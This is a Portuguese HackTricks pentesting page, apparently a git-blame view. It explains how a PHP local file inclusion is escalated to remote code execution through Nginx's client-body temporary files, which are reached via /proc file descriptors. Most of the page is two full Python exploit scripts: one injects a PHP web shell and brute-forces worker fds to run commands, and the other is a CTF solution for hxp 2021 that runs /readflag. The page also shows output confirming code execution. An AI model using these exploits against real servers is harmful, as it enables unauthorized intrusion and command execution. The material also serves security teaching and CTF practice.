hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

294 lines
11 KiB
Markdown
Raw Normal View History

# LFI2RCE via arquivos temporários do Nginx
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Configuração vulnerável
2022-04-20 19:39:32 +00:00
**[Exemplo de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)**
2023-06-06 18:56:34 +00:00
* Código PHP:
2022-04-20 19:39:32 +00:00
```
<?php include_once($_GET['file']);
```
* Configuração do FPM / PHP:
2022-04-20 19:39:32 +00:00
```
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
```
* Configuração / fortalecimento:
2022-04-20 19:39:32 +00:00
```
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
```
Felizmente, o PHP é atualmente frequentemente implantado via PHP-FPM e Nginx. O Nginx oferece um recurso facilmente ignorado de [bufferização do corpo do cliente](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) que escreverá arquivos temporários se o corpo do cliente (não limitado a post) for maior que um determinado limite.
2022-04-20 19:39:32 +00:00
Este recurso permite que LFIs sejam explorados sem qualquer outra forma de criar arquivos, se o Nginx estiver sendo executado como o mesmo usuário que o PHP (muito comumente feito como www-data).
2022-04-20 19:39:32 +00:00
2023-06-06 18:56:34 +00:00
Código relevante do Nginx:
2022-04-20 19:39:32 +00:00
```c
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
2022-04-20 19:39:32 +00:00
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
2022-04-20 19:39:32 +00:00
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
2022-04-20 19:39:32 +00:00
return fd;
2022-04-20 19:39:32 +00:00
}
```
É visível que **o arquivo temporário é desvinculado imediatamente** após ser aberto pelo Nginx. Felizmente, **o procfs pode ser usado para ainda obter uma referência** ao arquivo excluído por meio de uma corrida:
2022-04-20 19:39:32 +00:00
```
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
```
Nota: Não é possível incluir diretamente `/proc/34/fd/15` neste exemplo, pois a função `include` do PHP resolveria o caminho para `/var/lib/nginx/body/0000001368 (deleted)`, que não existe no sistema de arquivos. Essa pequena restrição pode ser contornada por alguma indireção, como: `/proc/self/fd/34/../../../34/fd/15`, que finalmente executará o conteúdo do arquivo deletado `/var/lib/nginx/body/0000001368`.
2022-04-20 19:39:32 +00:00
## Exploração Completa
2022-04-20 19:39:32 +00:00
```python
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
# find nginx worker processes
2022-04-20 19:39:32 +00:00
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
2022-04-20 19:39:32 +00:00
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
2022-04-20 19:39:32 +00:00
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
2022-04-20 19:39:32 +00:00
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
2022-04-20 19:39:32 +00:00
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
2022-04-20 19:39:32 +00:00
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
2022-04-20 19:39:32 +00:00
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
2022-04-20 19:39:32 +00:00
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
2022-04-20 19:39:32 +00:00
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
2022-04-20 19:39:32 +00:00
```
Saída:
2022-04-20 19:39:32 +00:00
```
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### Outro Exploit
2022-04-20 19:39:32 +00:00
Isso está em [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
2022-06-23 12:12:25 +00:00
```python
import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False
def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
2022-06-23 12:12:25 +00:00
def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
2022-06-23 12:12:25 +00:00
def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
2022-06-23 12:12:25 +00:00
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)
2022-06-23 12:12:25 +00:00
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
2022-06-23 12:12:25 +00:00
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
2022-06-23 12:12:25 +00:00
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)
2022-06-23 12:12:25 +00:00
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
2022-06-23 12:12:25 +00:00
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
2022-06-23 12:12:25 +00:00
if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
2022-06-23 12:12:25 +00:00
```
2023-06-06 18:56:34 +00:00
## Laboratórios
2022-04-20 19:39:32 +00:00
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
2023-06-06 18:56:34 +00:00
## Referências
2022-04-20 19:39:32 +00:00
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>